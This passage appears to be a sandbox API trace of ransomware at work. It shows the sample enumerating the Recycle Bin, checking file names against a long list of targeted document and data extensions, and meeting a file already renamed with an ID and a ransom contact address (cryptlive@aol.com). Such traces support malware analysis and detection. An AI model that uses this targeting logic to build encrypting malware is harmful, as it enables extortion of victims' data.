lpFindFileData=0x378fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0126.790] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0126.790] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0126.790] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0126.790] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0126.790] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x4211058 [0126.791] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0126.791] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x378f808 | out: lpFindFileData=0x378f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975f30 [0126.791] FindNextFileW (in: hFindFile=0x975f30, lpFindFileData=0x378f808 | out: lpFindFileData=0x378f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.791] FindNextFileW (in: hFindFile=0x975f30, lpFindFileData=0x378f808 | out: lpFindFileData=0x378f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x57b0bfa0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.791] lstrlenW (lpString="desktop.ini") returned 11 [0126.791] lstrlenW (lpString=".1cd") returned 4 [0126.791] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0126.791] lstrlenW (lpString=".3ds") returned 4 [0126.791] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0126.791] lstrlenW (lpString=".3fr") returned 4 [0126.791] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0126.791] lstrlenW (lpString=".3g2") returned 4 [0126.791] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0126.791] lstrlenW (lpString=".3gp") returned 4 [0126.791] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0126.791] lstrlenW (lpString=".7z") returned 3 [0126.791] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0126.792] lstrlenW (lpString=".accda") returned 6 [0126.792] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0126.792] lstrlenW (lpString=".accdb") returned 6 [0126.792] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0126.792] lstrlenW (lpString=".accdc") returned 6 [0126.792] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0126.792] lstrlenW (lpString=".accde") returned 6 [0126.792] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0126.792] lstrlenW (lpString=".accdt") returned 6 [0126.792] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0126.792] lstrlenW (lpString=".accdw") returned 6 [0126.792] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0126.792] lstrlenW (lpString=".adb") returned 4 [0126.792] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".adp") returned 4 [0126.792] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".ai") returned 3 [0126.792] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0126.792] lstrlenW (lpString=".ai3") returned 4 [0126.792] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".ai4") returned 4 [0126.792] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".ai5") returned 4 [0126.792] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".ai6") returned 4 [0126.792] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".ai7") returned 4 [0126.792] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".ai8") returned 4 [0126.792] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".anim") returned 5 [0126.792] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0126.792] lstrlenW (lpString=".arw") returned 4 [0126.792] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0126.792] lstrlenW (lpString=".as") returned 3 [0126.792] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0126.792] lstrlenW (lpString=".asa") returned 4 [0126.793] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".asc") returned 4 [0126.793] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".ascx") returned 5 [0126.793] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0126.793] lstrlenW (lpString=".asm") returned 4 [0126.793] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".asmx") returned 5 [0126.793] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0126.793] lstrlenW (lpString=".asp") returned 4 [0126.793] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".aspx") returned 5 [0126.793] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0126.793] lstrlenW (lpString=".asr") returned 4 [0126.793] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".asx") returned 4 [0126.793] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".avi") returned 4 [0126.793] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".avs") returned 4 [0126.793] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".backup") returned 7 [0126.793] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0126.793] lstrlenW (lpString=".bak") returned 4 [0126.793] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".bay") returned 4 [0126.793] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".bd") returned 3 [0126.793] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0126.793] lstrlenW (lpString=".bin") returned 4 [0126.793] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".bmp") returned 4 [0126.793] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".bz2") returned 4 [0126.793] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0126.793] lstrlenW (lpString=".c") returned 2 [0126.793] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0126.794] lstrlenW (lpString=".cdr") returned 4 [0126.794] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".cer") returned 4 [0126.794] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".cf") returned 3 [0126.794] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0126.794] lstrlenW (lpString=".cfc") returned 4 [0126.794] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".cfm") returned 4 [0126.794] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".cfml") returned 5 [0126.794] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0126.794] lstrlenW (lpString=".cfu") returned 4 [0126.794] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".chm") returned 4 [0126.794] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".cin") returned 4 [0126.794] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".class") returned 6 [0126.794] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0126.794] lstrlenW (lpString=".clx") returned 4 [0126.794] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".config") returned 7 [0126.794] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0126.794] lstrlenW (lpString=".cpp") returned 4 [0126.794] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".cr2") returned 4 [0126.794] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".crt") returned 4 [0126.794] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".crw") returned 4 [0126.794] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".cs") returned 3 [0126.794] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0126.794] lstrlenW (lpString=".css") returned 4 [0126.794] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0126.794] lstrlenW (lpString=".csv") returned 4 [0126.795] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".cub") returned 4 [0126.795] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dae") returned 4 [0126.795] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dat") returned 4 [0126.795] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".db") returned 3 [0126.795] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0126.795] lstrlenW (lpString=".dbf") returned 4 [0126.795] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dbx") returned 4 [0126.795] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dc3") returned 4 [0126.795] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dcm") returned 4 [0126.795] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dcr") returned 4 [0126.795] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".der") returned 4 [0126.795] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dib") returned 4 [0126.795] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dic") returned 4 [0126.795] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".dif") returned 4 [0126.795] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".divx") returned 5 [0126.795] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0126.795] lstrlenW (lpString=".djvu") returned 5 [0126.795] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0126.795] lstrlenW (lpString=".dng") returned 4 [0126.795] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".doc") returned 4 [0126.795] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0126.795] lstrlenW (lpString=".docm") returned 5 [0126.795] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0126.796] lstrlenW (lpString=".docx") returned 5 [0126.796] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0126.796] lstrlenW (lpString=".dot") returned 4 [0126.796] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".dotm") returned 5 [0126.796] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0126.796] lstrlenW (lpString=".dotx") returned 5 [0126.796] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0126.796] lstrlenW (lpString=".dpx") returned 4 [0126.796] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".dqy") returned 4 [0126.796] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".dsn") returned 4 [0126.796] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".dt") returned 3 [0126.796] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0126.796] lstrlenW (lpString=".dtd") returned 4 [0126.796] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".dwg") returned 4 [0126.796] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".dwt") returned 4 [0126.796] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".dx") returned 3 [0126.796] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0126.796] lstrlenW (lpString=".dxf") returned 4 [0126.796] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".edml") returned 5 [0126.796] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0126.796] lstrlenW (lpString=".efd") returned 4 [0126.796] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".elf") returned 4 [0126.796] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".emf") returned 4 [0126.796] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".emz") returned 4 [0126.796] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0126.796] lstrlenW (lpString=".epf") returned 4 [0126.797] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".eps") returned 4 [0126.797] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".epsf") returned 5 [0126.797] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0126.797] lstrlenW (lpString=".epsp") returned 5 [0126.797] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0126.797] lstrlenW (lpString=".erf") returned 4 [0126.797] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".exr") returned 4 [0126.797] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".f4v") returned 4 [0126.797] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".fido") returned 5 [0126.797] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0126.797] lstrlenW (lpString=".flm") returned 4 [0126.797] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".flv") returned 4 [0126.797] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".frm") returned 4 [0126.797] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".fxg") returned 4 [0126.797] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".geo") returned 4 [0126.797] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".gif") returned 4 [0126.797] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".grs") returned 4 [0126.797] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0126.797] lstrlenW (lpString=".gz") returned 3 [0126.797] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0126.797] lstrlenW (lpString=".h") returned 2 [0126.797] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0126.797] lstrlenW (lpString=".hdr") returned 4 [0126.798] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".hpp") returned 4 [0126.798] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".hta") returned 4 [0126.798] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".htc") returned 4 [0126.798] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".htm") returned 4 [0126.798] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".html") returned 5 [0126.798] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0126.798] lstrlenW (lpString=".icb") returned 4 [0126.798] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".ics") returned 4 [0126.798] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".iff") returned 4 [0126.798] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".inc") returned 4 [0126.798] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0126.798] lstrlenW (lpString=".indd") returned 5 [0126.798] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0126.798] lstrlenW (lpString=".ini") returned 4 [0126.798] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0126.798] FindNextFileW (in: hFindFile=0x975f30, lpFindFileData=0x378f808 | out: lpFindFileData=0x378f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x219d4dc0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x219d4dc0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x219faf20, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE", cAlternateFileName="DESKTO~1.LIV")) returned 1 [0126.798] lstrlenW (lpString="desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE") returned 48 [0126.798] lstrlenW (lpString=".1cd") returned 4 [0126.798] lstrcmpiW (lpString1=".1cd", lpString2="LIVE") returned -1 [0126.798] lstrlenW (lpString=".3ds") returned 4 [0126.798] lstrcmpiW (lpString1=".3ds", lpString2="LIVE") returned -1 [0126.798] lstrlenW (lpString=".3fr") returned 4 [0126.798] lstrcmpiW (lpString1=".3fr", lpString2="LIVE") returned -1 [0126.798] lstrlenW (lpString=".3g2") returned 4 [0126.798] lstrcmpiW (lpString1=".3g2", lpString2="LIVE") returned -1 [0126.798] lstrlenW (lpString=".3gp") returned 4 [0126.799] lstrcmpiW (lpString1=".3gp", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".7z") returned 3 [0126.799] lstrcmpiW (lpString1=".7z", lpString2="IVE") returned -1 [0126.799] lstrlenW (lpString=".accda") returned 6 [0126.799] lstrcmpiW (lpString1=".accda", lpString2="].LIVE") returned -1 [0126.799] lstrlenW (lpString=".accdb") returned 6 [0126.799] lstrcmpiW (lpString1=".accdb", lpString2="].LIVE") returned -1 [0126.799] lstrlenW (lpString=".accdc") returned 6 [0126.799] lstrcmpiW (lpString1=".accdc", lpString2="].LIVE") returned -1 [0126.799] lstrlenW (lpString=".accde") returned 6 [0126.799] lstrcmpiW (lpString1=".accde", lpString2="].LIVE") returned -1 [0126.799] lstrlenW (lpString=".accdt") returned 6 [0126.799] lstrcmpiW (lpString1=".accdt", lpString2="].LIVE") returned -1 [0126.799] lstrlenW (lpString=".accdw") returned 6 [0126.799] lstrcmpiW (lpString1=".accdw", lpString2="].LIVE") returned -1 [0126.799] lstrlenW (lpString=".adb") returned 4 [0126.799] lstrcmpiW (lpString1=".adb", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".adp") returned 4 [0126.799] lstrcmpiW (lpString1=".adp", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".ai") returned 3 [0126.799] lstrcmpiW (lpString1=".ai", lpString2="IVE") returned -1 [0126.799] lstrlenW (lpString=".ai3") returned 4 [0126.799] lstrcmpiW (lpString1=".ai3", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".ai4") returned 4 [0126.799] lstrcmpiW (lpString1=".ai4", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".ai5") returned 4 [0126.799] lstrcmpiW (lpString1=".ai5", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".ai6") returned 4 [0126.799] lstrcmpiW (lpString1=".ai6", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".ai7") returned 4 [0126.799] lstrcmpiW (lpString1=".ai7", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".ai8") returned 4 [0126.799] lstrcmpiW (lpString1=".ai8", lpString2="LIVE") returned -1 [0126.799] lstrlenW (lpString=".anim") returned 5 [0126.799] lstrcmpiW (lpString1=".anim", lpString2=".LIVE") returned -1 [0126.799] lstrlenW (lpString=".arw") returned 4 [0126.799] lstrcmpiW (lpString1=".arw", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".as") returned 3 [0126.800] lstrcmpiW (lpString1=".as", lpString2="IVE") returned -1 [0126.800] lstrlenW (lpString=".asa") returned 4 [0126.800] lstrcmpiW (lpString1=".asa", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".asc") returned 4 [0126.800] lstrcmpiW (lpString1=".asc", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".ascx") returned 5 [0126.800] lstrcmpiW (lpString1=".ascx", lpString2=".LIVE") returned -1 [0126.800] lstrlenW (lpString=".asm") returned 4 [0126.800] lstrcmpiW (lpString1=".asm", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".asmx") returned 5 [0126.800] lstrcmpiW (lpString1=".asmx", lpString2=".LIVE") returned -1 [0126.800] lstrlenW (lpString=".asp") returned 4 [0126.800] lstrcmpiW (lpString1=".asp", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".aspx") returned 5 [0126.800] lstrcmpiW (lpString1=".aspx", lpString2=".LIVE") returned -1 [0126.800] lstrlenW (lpString=".asr") returned 4 [0126.800] lstrcmpiW (lpString1=".asr", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".asx") returned 4 [0126.800] lstrcmpiW (lpString1=".asx", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".avi") returned 4 [0126.800] lstrcmpiW (lpString1=".avi", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".avs") returned 4 [0126.800] lstrcmpiW (lpString1=".avs", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".backup") returned 7 [0126.800] lstrcmpiW (lpString1=".backup", lpString2="m].LIVE") returned -1 [0126.800] lstrlenW (lpString=".bak") returned 4 [0126.800] lstrcmpiW (lpString1=".bak", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".bay") returned 4 [0126.800] lstrcmpiW (lpString1=".bay", lpString2="LIVE") returned -1 [0126.800] lstrlenW (lpString=".bd") returned 3 [0126.800] lstrcmpiW (lpString1=".bd", lpString2="IVE") returned -1 [0126.801] lstrlenW (lpString=".bin") returned 4 [0126.801] lstrcmpiW (lpString1=".bin", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".bmp") returned 4 [0126.801] lstrcmpiW (lpString1=".bmp", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".bz2") returned 4 [0126.801] lstrcmpiW (lpString1=".bz2", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".c") returned 2 [0126.801] lstrcmpiW (lpString1=".c", lpString2="VE") returned -1 [0126.801] lstrlenW (lpString=".cdr") returned 4 [0126.801] lstrcmpiW (lpString1=".cdr", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".cer") returned 4 [0126.801] lstrcmpiW (lpString1=".cer", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".cf") returned 3 [0126.801] lstrcmpiW (lpString1=".cf", lpString2="IVE") returned -1 [0126.801] lstrlenW (lpString=".cfc") returned 4 [0126.801] lstrcmpiW (lpString1=".cfc", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".cfm") returned 4 [0126.801] lstrcmpiW (lpString1=".cfm", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".cfml") returned 5 [0126.801] lstrcmpiW (lpString1=".cfml", lpString2=".LIVE") returned -1 [0126.801] lstrlenW (lpString=".cfu") returned 4 [0126.801] lstrcmpiW (lpString1=".cfu", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".chm") returned 4 [0126.801] lstrcmpiW (lpString1=".chm", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".cin") returned 4 [0126.801] lstrcmpiW (lpString1=".cin", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".class") returned 6 [0126.801] lstrcmpiW (lpString1=".class", lpString2="].LIVE") returned -1 [0126.801] lstrlenW (lpString=".clx") returned 4 [0126.801] lstrcmpiW (lpString1=".clx", lpString2="LIVE") returned -1 [0126.801] lstrlenW (lpString=".config") returned 7 [0126.802] lstrcmpiW (lpString1=".config", lpString2="m].LIVE") returned -1 [0126.802] lstrlenW (lpString=".cpp") returned 4 [0126.802] lstrcmpiW (lpString1=".cpp", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".cr2") returned 4 [0126.802] lstrcmpiW (lpString1=".cr2", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".crt") returned 4 [0126.802] lstrcmpiW (lpString1=".crt", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".crw") returned 4 [0126.802] lstrcmpiW (lpString1=".crw", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".cs") returned 3 [0126.802] lstrcmpiW (lpString1=".cs", lpString2="IVE") returned -1 [0126.802] lstrlenW (lpString=".css") returned 4 [0126.802] lstrcmpiW (lpString1=".css", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".csv") returned 4 [0126.802] lstrcmpiW (lpString1=".csv", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".cub") returned 4 [0126.802] lstrcmpiW (lpString1=".cub", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".dae") returned 4 [0126.802] lstrcmpiW (lpString1=".dae", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".dat") returned 4 [0126.802] lstrcmpiW (lpString1=".dat", lpString2="LIVE") returned -1 [0126.802] lstrlenW (lpString=".db") returned 3 [0126.802] lstrcmpiW (lpString1=".db", lpString2="IVE") returned -1 [0126.802] lstrlenW (lpString=".dbf") returned 4 [0126.803] lstrcmpiW (lpString1=".dbf", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".dbx") returned 4 [0126.803] lstrcmpiW (lpString1=".dbx", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".dc3") returned 4 [0126.803] lstrcmpiW (lpString1=".dc3", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".dcm") returned 4 [0126.803] lstrcmpiW (lpString1=".dcm", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".dcr") returned 4 [0126.803] lstrcmpiW (lpString1=".dcr", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".der") returned 4 